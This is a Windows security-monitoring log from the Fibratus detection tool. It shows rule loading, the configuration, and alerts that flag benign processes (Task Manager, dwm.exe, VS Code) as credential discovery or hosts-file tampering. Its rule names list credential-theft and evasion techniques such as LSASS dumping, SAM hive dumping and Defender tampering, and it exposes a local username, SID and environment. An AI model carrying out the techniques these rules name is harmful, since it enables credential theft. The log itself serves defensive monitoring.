Pid: 5136 + Ppid: 11924 + Name: git.exe + Parent name: git.exe + Cmdline: git.exe status -z -uall + Parent cmdline: "C:\Program Files\Git\cmd\git.exe" status -z -uall + Exe: C:\Program Files\Git\mingw64\bin\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [git.exe status -z -uall] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-04T15:51:40+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T15:51:40+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T15:51:41+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-04T15:51:44+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-04T15:51:44+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-04T15:51:44+01:00 level=info msg=bootstrapping with pid 14220. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T15:51:44+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false] mail=>[ enabled=>false content-type=>text/html port=>25 use-template=>true to=>[]] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-audit-api=>true max-buffers=>36 enable-mem=>false enable-dns=>false buffer-size=>512 enable-vamap=>true enable-net=>true enable-handle=>false enable-threadpool=>false min-buffers=>16 enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true enable-registry=>true enable-thread=>true flush-interval=>1s stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 level=>info max-size=>100 formatter=>text max-age=>0 log-stdout=>true] + output ......................... [ elasticsearch=>[ trace-log=>false gzip-compression=>false enabled=>false template-name=>fibratus flush-period=>1s sniff=>false timeout=>5s healthcheck=>true healthcheck-timeout=>5s index-name=>fibratus healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] bulk-workers=>1] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] eventlog=>[ enabled=>false level=>info] amqp=>[ exchange=>fibratus timeout=>5s routing-key=>fibratus url=>amqp://localhost:5672 tls-insecure-skip-verify=>false durable=>false passive=>false vhost=>/ enabled=>false exchange-type=>topic delivery-mode=>transient] http=>[ endpoints=>[] timeout=>5s method=>POST enable-gzip=>false tls-insecure-skip-verify=>false enabled=>false serializer=>json]] + pe ............................. [ read-sections=>false enabled=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-registry=>false skip-allocs=>false excluded-files=>[] enabled=>false excluded-procs=>[] scan-timeout=>10s skip-mmaps=>false skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-04T15:51:45+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T15:51:48+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T15:51:57+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: [C:\WINDOWS\SYSTEM32\ntdll.dll C:\WINDOWS\System32\KERNEL32.DLL C:\Windows\System32\ntdll.dll C:\Windows\System32\ntdll.dll C:\Windows\System32\Taskmgr.exe C:\Windows\System32\user32.dll C:\Windows\System32\Taskmgr.exe C:\Windows\System32\win32u.dll] + Event(s): + Seq: 5226193 + Pid: 5204 + Tid: 11688 + Type: MapViewFile + CPU: 4 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:51:48.7493905 +0100 CET + Params: file_key➜ ffffa88b193ad000, offset➜ 0, pid➜ 5204, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 2b604c00000, view_size➜ 20975616 + Metadata: technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, subtechnique.id: T1555.004, technique.name: Credentials from Password Stores, rule.name: Credential discovery via VaultCmd tool + + Pid: 5204 + Ppid: 7364 + Name: Taskmgr.exe + Cmdline: "C:\WINDOWS\system32\taskmgr.exe" /7 + Exe: C:\WINDOWS\system32\taskmgr.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\taskmgr.exe" /7] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:51:57+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: [C:\Windows\System32\ntdll.dll C:\Windows\System32\kernel32.dll C:\Windows\System32\dwmcore.dll C:\Windows\System32\dwmcore.dll C:\Windows\System32\dwmcore.dll C:\Windows\System32\dwmcore.dll C:\Windows\System32\dwmcore.dll C:\Windows\System32\win32u.dll] + Event(s): + Seq: 5224500 + Pid: 1512 + Tid: 2012 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 15:51:46.7602674 +0100 CET + Params: file_key➜ ffffa88afe25c630, offset➜ 0, pid➜ 1512, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 24132710000, view_size➜ 4096 + Metadata: subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.id: TA0006, tactic.name: Credential Access, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 1512 + Ppid: 688 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:59:36+01:00 level=info msg=sending alert: [Suspicious access to the hosts file]. Text: Suspicious process C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe accessed the hosts file for potential tampering + Event(s): + Seq: 5842059 + Pid: 8520 + Tid: 10448 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-04 15:56:12.1225176 +0100 CET + Params: cmdline➜ "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" , directory_table_base➜ 19de1d000, domain➜ ARCHRABBIT, exe➜ C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe, exit_status➜ Success, flags➜ , kproc➜ ffffe484510ee080, name➜ Code.exe, pid➜ 4976, ppid➜ 8520, real_ppid➜ 8520, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-04 15:56:12.122381 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1562.001, technique.name: Impair Defenses - Disable or Modify Tools, rule.seq.link: 16799552716157222912, rule.name: Suspicious access to the hosts file, technique.ref: https://attack.mitre.org/techniques/T1562/001/ + + Pid: 8520 + Ppid: 8484 + Name: explorer.exe + Cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\WINDOWS\Explorer.EXE + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\Explorer.EXE] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files 